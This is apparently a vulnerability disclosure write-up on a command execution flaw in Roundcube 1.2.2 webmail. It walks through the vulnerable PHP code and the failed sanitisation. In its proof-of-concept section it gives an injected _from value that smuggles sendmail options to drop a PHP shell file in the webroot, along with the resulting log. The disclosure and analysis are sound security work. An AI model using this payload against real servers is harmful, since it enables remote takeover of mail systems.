Roundcube 1.2.2: Command Execution via Email

Roundcube is a widely distributed open-source webmail software used by many organizations and companies around the globe. In this post, we show how a malicious user can remotely execute arbitrary commands on the underlying operating system, simply by writing an email in Roundcube 1.2.2 (>= 1.0). This vulnerability is highly critical because all default installations are affected.

The mirror on SourceForge counts more than 260,000 downloads for Roundcube in the last 12 months1 which is only a small fraction of the actual users. Once Roundcube is installed on a server, it provides a web interface for authenticated users to send and receive emails with their web browser.

Requirements

The vulnerability has the following requirements for exploitation:

• Roundcube must be configured to use PHP’s mail() function (by default, if no SMTP was specified)
• PHP’s mail() function is configured to use sendmail (by default, see sendmail_path)
• PHP is configured to have safe_mode turned off (by default, see safe_mode)
• An attacker must know or guess the absolute path of the webroot

These requirements are not particularly demanding which in turn means that there were a lot of vulnerable systems in the wild.

Description

In Roundcube 1.2.2 and earlier, user-controlled input flows unsanitized into the fifth argument of a call to PHP’s built-in function mail() which is documented as critical in terms of security. The problem is that the invocation of the mail() function will cause PHP to execute the sendmail program. The fifth argument allows passing additional parameters to this execution which allows a configuration of Sendmail. Since sendmail offers the -X option to log all mail traffic in a file, an attacker can abuse this option and spawn a malicious PHP file in the webroot directory of the attacked server. The following code lines trigger the vulnerability.

program/steps/mail/sendmail.inc

90    $from = rcube_utils::get_input_value('_from', rcube_utils::INPUT_POST, true, $message_charset);
91    ⋮
92    $sent = $RCMAIL->deliver_message($MAIL_MIME, $from, $mailto,$smtp_error, $mailbody_file, $smtp_opts);

Here, the value of the POST parameter _from is fetched and Roundcube’s deliver_message() method is invoked with the value used as second argument $from.

program/lib/Roundcube/rcube.php

1578    public function deliver_message(&$message, $from, $mailto, &$error, &$body_file = null, $options = null) {
1579        ⋮
1580        if (filter_var(ini_get('safe_mode'), FILTER_VALIDATE_BOOLEAN))
1581            $sent = mail($to, $subject, $msg_body, $header_str);
1582        else
1583            $sent = mail($to, $subject, $msg_body, $header_str, "-f$from");

This method will then pass the $from parameter to a call of the mail() function. The idea is to pass a custom from header to the sendmail program via the -f option.

Insufficient Sanitization

An interesting part is that it seems as if the from e-mail address is filtered beforehand with a regular expression. Basically, the $from parameter is expected to have no whitespaces which would limit the possibility to attach other parameters behind the -fparameter. Using whitespace constants such as $IFS or injecting new shell commands ` does not succeed at this point. However, there is a logical flaw in the application that causes the sanitization to fail.

program/steps/mail/sendmail.inc

104    else if ($from_string = rcmail_email_input_format($from)) {
105        if (preg_match('/(\S+@\S+)/', $from_string, $m))
106            $from = trim($m[1],'<>');
107        else
108            $from = null;
109    }

In line 105, an email is extracted from the user-controlled variable $from that contains no whitespaces. However, this extraction only takes place when the rcmail_email_input_format() function returns a value equivalent to TRUE. In the following, we will examine this function closely.

program/steps/mail/sendmail.inc

850    function rcmail_email_input_format($mailto, $count=false, $check=true)
851    {
852        global $RCMAIL, $EMAIL_FORMAT_ERROR, $RECIPIENT_COUNT;
853        // simplified email regexp, supporting quoted local part
854        $email_regexp = '(\S+|(";[^";]+";))@\S+';
855        ⋮
856        // replace new lines and strip ending ', ', make address input more valid
857        $mailto = trim(preg_replace($regexp, $replace, $mailto));
858        $items  = rcube_utils::explode_quoted_string($delim, $mailto);
859        $result = array();
860        foreach ($items as $item) {
861            $item = trim($item);
862            // address in brackets without name (do nothing)
863            if (preg_match('/^<'.$email_regexp.'>$/', $item)) {
864                $item     = rcube_utils::idn_to_ascii(trim($item, '<>'));
865                $result[] = $item;
866            }
867            ⋮
868            else if (trim($item)) {
869                continue;
870            }
871            ⋮
872        }
873        if ($count) {
874            $RECIPIENT_COUNT += count($result);
875        }
876        return implode(', ', $result);
877    }

The function uses another regular expression in line 863 which requires that the line ends ($) right after the email match. A payload used by an attacker does not have to match this regex and therefore the array $result will stay empty after the foreach loop. In this case, the implode() function in line 876 will return an empty string (equal to FALSE) and the $from variable is not altered nor sanitized.

Proof of Concept

When an email is sent with Roundcube, the HTTP request can be intercepted and altered. Here, the _from parameter can be modified in order to place a malicious PHP file on the file system.

example@example.com -OQueueDirectory=/tmp -X/var/www/html/rce.php

This allows an attacker to spawn a shell file rce.php in the web root directory with the contents of the _subject parameter that can contain PHP code. After performing the request, a file with the following content is created:

 1    04731 >>> "Recipient names must be specified"
 2    04731 <<< To: squinty@localhost
 3    04731 <<< Subject: <?php phpinfo(); ?>
 4    04731 <<< X-PHP-Originating-Script: 1000:rcube.php
 5    04731 <<< MIME-Version: 1.0
 6    04731 <<< Content-Type: text/plain; charset=US-ASCII;
 7    04731 <<<  format=flowed
 8    04731 <<< Content-Transfer-Encoding: 7bit
 9    04731 <<< Date: So, 20 Nov 2016 04:02:52 +0100
10    04731 <<< From: example@example.com -OQueueDirectory=/tmp
11    04731 <<<  -X/var/www/html/rce.php
12    04731 <<< Message-ID: <390a0c6379024872a7f0310cdea24900@localhost>
13    04731 <<< X-Sender: example@example.com -OQueueDirectory=/tmp
14    04731 <<<  -X/var/www/html/rce.php
15    04731 <<< User-Agent: Roundcube Webmail/1.2.2
16    04731 <<<
17    04731 <<< Funny e-mail message
18    04731 <<< [EOF]

Since the email data is unencoded, the subject parameter will be reflected in plaintext which allows the injection of PHP tags into the shell file.

Timeline

Summary

Roundcube 1.2.2 is resistant against many attack vectors and a large community works on the software continuously together securing the application. However, the vulnerability described in this post could slip through and is an edge-case due to its rarity. With the aid of automated testing, it is not only possible to detect such edge-cases, but it allows to save human resources and therefore focus on different aspects in the development process of a secure web application.

We would like to thank the Roundcube team for the very quick fix after just one day, and the new release made available only after one week! This is a very impressive and professional response towards security issues.